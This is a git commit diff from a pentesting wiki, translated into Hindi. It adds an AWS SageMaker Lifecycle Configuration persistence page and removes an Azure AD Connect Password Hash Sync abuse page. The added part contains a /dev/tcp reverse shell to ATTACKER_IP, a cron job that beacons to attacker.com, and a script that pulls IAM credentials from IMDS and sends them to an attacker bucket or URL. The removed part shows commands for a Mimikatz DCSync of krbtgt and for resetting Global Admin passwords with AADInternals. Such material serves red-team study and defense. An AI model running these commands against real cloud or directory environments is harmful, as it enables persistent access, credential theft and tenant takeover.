Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem

This commit is contained in:
Translator
2025-07-22 12:38:41 +00:00
parent fe1cdea11c
commit 3ee6776fc9
5 changed files with 262 additions and 117 deletions

View File

@@ -0,0 +1,156 @@
# AWS - SageMaker Lifecycle Configuration Persistence
## Overview of Persistence Techniques
इस अनुभाग में SageMaker में Lifecycle Configurations (LCCs) का दुरुपयोग करके स्थायीता प्राप्त करने के तरीकों का वर्णन किया गया है, जिसमें रिवर्स शेल, क्रॉन जॉब, IMDS के माध्यम से क्रेडेंशियल चोरी, और SSH बैकडोर शामिल हैं। ये स्क्रिप्ट इंस्टेंस की IAM भूमिका के साथ चलती हैं और पुनरारंभ के दौरान स्थायी रह सकती हैं। अधिकांश तकनीकों के लिए आउटबाउंड नेटवर्क एक्सेस की आवश्यकता होती है, लेकिन AWS नियंत्रण Plane पर सेवाओं का उपयोग करने से भी सफलता मिल सकती है यदि वातावरण 'VPC-only' मोड में है।
#### Note: SageMaker नोटबुक इंस्टेंस मूल रूप से मशीन लर्निंग कार्यभार के लिए विशेष रूप से कॉन्फ़िगर की गई प्रबंधित EC2 इंस्टेंस हैं।
## Required Permissions
* Notebook Instances:
```
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
```
* स्टूडियो एप्लिकेशन:
```
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
```
## नोटबुक उदाहरणों पर जीवनचक्र कॉन्फ़िगरेशन सेट करें
### उदाहरण AWS CLI कमांड:
```bash
# Create Lifecycle Configuration*
aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)
# Attach Lifecycle Configuration to Notebook Instance*
aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
```
## Set Lifecycle Configuration on SageMaker Studio
Lifecycle Configurations को विभिन्न स्तरों पर और SageMaker Studio के विभिन्न ऐप प्रकारों पर जोड़ा जा सकता है।
### Studio Domain Level (All Users)
```bash
# Create Studio Lifecycle Configuration*
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
# Apply LCC to entire Studio Domain*
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
### स्टूडियो स्पेस स्तर (व्यक्तिगत या साझा स्पेस)
```bash
# Update SageMaker Studio Space to attach LCC*
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
## Studio एप्लिकेशन लाइफसाइकिल कॉन्फ़िगरेशन के प्रकार
लाइफसाइकिल कॉन्फ़िगरेशन को विभिन्न SageMaker Studio एप्लिकेशन प्रकारों पर विशेष रूप से लागू किया जा सकता है:
* JupyterServer: Jupyter सर्वर स्टार्टअप के दौरान स्क्रिप्ट चलाता है, जो रिवर्स शेल और क्रॉन जॉब्स जैसे पर्सिस्टेंस मैकेनिज्म के लिए आदर्श है।
* KernelGateway: कर्नेल गेटवे ऐप लॉन्च के दौरान निष्पादित होता है, प्रारंभिक सेटअप या स्थायी पहुंच के लिए उपयोगी है।
* CodeEditor: कोड संपादक (Code-OSS) पर लागू होता है, जो कोड संपादन सत्रों की शुरुआत पर निष्पादित होने वाली स्क्रिप्टों को सक्षम करता है।
### प्रत्येक प्रकार के लिए उदाहरण कमांड:
### JupyterServer
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
```
### KernelGateway
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
```
### CodeEditor
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
```
### Critical Info:
* डोमेन या स्पेस स्तर पर LCCs को संलग्न करना सभी उपयोगकर्ताओं या अनुप्रयोगों को प्रभावित करता है जो दायरे में हैं।
* उच्च अनुमतियों की आवश्यकता होती है (sagemaker:UpdateDomain, sagemaker:UpdateSpace) जो आमतौर पर स्पेस स्तर पर डोमेन स्तर की तुलना में अधिक व्यावहारिक होती हैं।
* नेटवर्क-स्तरीय नियंत्रण (जैसे, सख्त निकासी फ़िल्टरिंग) सफल रिवर्स शेल या डेटा निकासी को रोक सकते हैं।
## Reverse Shell via Lifecycle Configuration
SageMaker Lifecycle Configurations (LCCs) कस्टम स्क्रिप्ट को निष्पादित करते हैं जब नोटबुक उदाहरण शुरू होते हैं। अनुमतियों के साथ एक हमलावर एक स्थायी रिवर्स शेल स्थापित कर सकता है।
### Payload Example:
```
#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
```
## Cron Job Persistence via Lifecycle Configuration
एक हमलावर LCC स्क्रिप्ट के माध्यम से क्रोन जॉब्स इंजेक्ट कर सकता है, जिससे दुर्भावनापूर्ण स्क्रिप्ट या कमांड का आवधिक निष्पादन सुनिश्चित होता है, जिससे छिपी हुई स्थिरता सक्षम होती है।
### Payload Example:
```
#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"
mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
```
## IMDS (v1 & v2) के माध्यम से क्रेडेंशियल एक्सफिल्ट्रेशन
लाइफसाइकिल कॉन्फ़िगरेशन IAM क्रेडेंशियल प्राप्त करने और उन्हें हमलावर-नियंत्रित स्थान पर एक्सफिल्ट्रेट करने के लिए इंस्टेंस मेटाडेटा सेवा (IMDS) को क्वेरी कर सकते हैं।
### पेलोड उदाहरण:
```bash
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
# Exfiltrate via S3*
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
# Alternatively, exfiltrate via HTTP POST*
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
```

View File

@@ -1,114 +0,0 @@
# Az - PHS - Password Hash Sync
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** एक साइन-इन विधियों में से एक है जिसका उपयोग हाइब्रिड पहचान को पूरा करने के लिए किया जाता है। **Azure AD Connect** एक उपयोगकर्ता के पासवर्ड का हैश, हैश का हैश, एक ऑन-प्रिमिस एक्टिव डायरेक्टरी उदाहरण से एक क्लाउड-आधारित Azure AD उदाहरण में समन्वयित करता है।
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
यह कंपनियों द्वारा ऑन-प्रिम AD को Azure AD के साथ समन्वयित करने के लिए उपयोग की जाने वाली **सबसे सामान्य विधि** है।
सभी **उपयोगकर्ता** और **पासवर्ड हैश का हैश** ऑन-प्रिम से Azure AD में समन्वयित होते हैं। हालाँकि, **स्पष्ट-टेक्स्ट पासवर्ड** या **मूल** **हैश** Azure AD को नहीं भेजे जाते।\
इसके अलावा, **बिल्ट-इन** सुरक्षा समूह (जैसे डोमेन एडमिन...) **Azure AD में समन्वयित नहीं होते**
**हैश समन्वयन** हर **2 मिनट** में होता है। हालाँकि, डिफ़ॉल्ट रूप से, **पासवर्ड समाप्ति** और **खाता** **समाप्ति** Azure AD में **समन्वयित नहीं होते**। इसलिए, एक उपयोगकर्ता जिसका **ऑन-प्रिम पासवर्ड समाप्त हो गया है** (बदला नहीं गया) वह पुराने पासवर्ड का उपयोग करके **Azure संसाधनों** तक पहुँच जारी रख सकता है।
जब एक ऑन-प्रिम उपयोगकर्ता Azure संसाधन तक पहुँच प्राप्त करना चाहता है, तो **प्रमाणीकरण Azure AD पर होता है**
**PHS** की आवश्यकता होती है जैसे **Identity Protection** और AAD Domain Services के लिए।
## Pivoting
जब PHS कॉन्फ़िगर किया जाता है, तो कुछ **विशिष्ट खाते** स्वचालित रूप से **बनाए जाते हैं**:
- खाता **`MSOL_<installationID>`** स्वचालित रूप से ऑन-प्रिम AD में बनाया जाता है। इस खाते को **Directory Synchronization Accounts** भूमिका दी जाती है (देखें [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) जिसका अर्थ है कि इसके पास **ऑन-प्रिम AD में पुनरुत्पादन (DCSync) अनुमतियाँ हैं**
- एक खाता **`Sync_<name of on-prem ADConnect Server>_installationID`** Azure AD में बनाया जाता है। इस खाते को Azure AD में **किसी भी उपयोगकर्ता** (समन्वयित या केवल क्लाउड) का पासवर्ड **रीसेट** करने की अनुमति है।
इन दो पिछले विशेषाधिकार वाले खातों के पासवर्ड **SQL सर्वर में** संग्रहीत होते हैं जहाँ **Azure AD Connect स्थापित है।** व्यवस्थापक स्पष्ट-टेक्स्ट में उन विशेषाधिकार वाले उपयोगकर्ताओं के पासवर्ड निकाल सकते हैं।\
डेटाबेस `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf` में स्थित है।
एक टेबल से कॉन्फ़िगरेशन निकालना संभव है, जिसमें एक एन्क्रिप्टेड है:
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
**एन्क्रिप्टेड कॉन्फ़िगरेशन** **DPAPI** के साथ एन्क्रिप्ट किया गया है और इसमें **`MSOL_*`** उपयोगकर्ता के पासवर्ड ऑन-प्रिम AD में और **Sync\_\*** का पासवर्ड AzureAD में शामिल है। इसलिए, इनका समझौता करने से AD और AzureAD में प्रिवेस्क करने की संभावना होती है।
आप इस [बातचीत में इन क्रेडेंशियल्स को कैसे संग्रहीत और डिक्रिप्ट किया जाता है, इसका पूरा अवलोकन पा सकते हैं](https://www.youtube.com/watch?v=JEIR5oGCwdg)。
### Finding the **Azure AD connect server**
यदि **सर्वर जहाँ Azure AD connect स्थापित है** डोमेन से जुड़ा है (जो दस्तावेज़ों में अनुशंसित है), तो इसे खोजने के लिए संभव है:
```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```
### MSOL\_\* का दुरुपयोग
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!CAUTION]
> आप इन क्रेडेंशियल्स को प्राप्त करने के लिए [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) का भी उपयोग कर सकते हैं।
### Sync\_\* का दुरुपयोग
**`Sync_*`** खाते से समझौता करने पर किसी भी उपयोगकर्ता (जिसमें Global Administrators शामिल हैं) का **पासवर्ड रीसेट** करना संभव है।
```bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
# Get global admins
Get-AADIntGlobalAdmins
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
यह भी संभव है कि केवल **क्लाउड** उपयोगकर्ताओं के पासवर्ड को संशोधित किया जाए (भले ही यह अप्रत्याशित हो)।
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
```
इस उपयोगकर्ता का पासवर्ड डंप करना भी संभव है।
> [!CAUTION]
> एक और विकल्प होगा **एक सेवा प्रमुख को विशेषाधिकार प्राप्त अनुमतियाँ सौंपना**, जिसे **Sync** उपयोगकर्ता **अनुमतियाँ** देने के लिए सक्षम है, और फिर **उस सेवा प्रमुख तक पहुँच प्राप्त करना** एक प्रिवेस्क के तरीके के रूप में।
### Seamless SSO
PHS के साथ Seamless SSO का उपयोग करना संभव है, जो अन्य दुरुपयोगों के प्रति संवेदनशील है। इसे चेक करें:
{{#ref}}
seamless-sso.md
{{#endref}}
## संदर्भ
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
{{#include ../../../../banners/hacktricks-training.md}}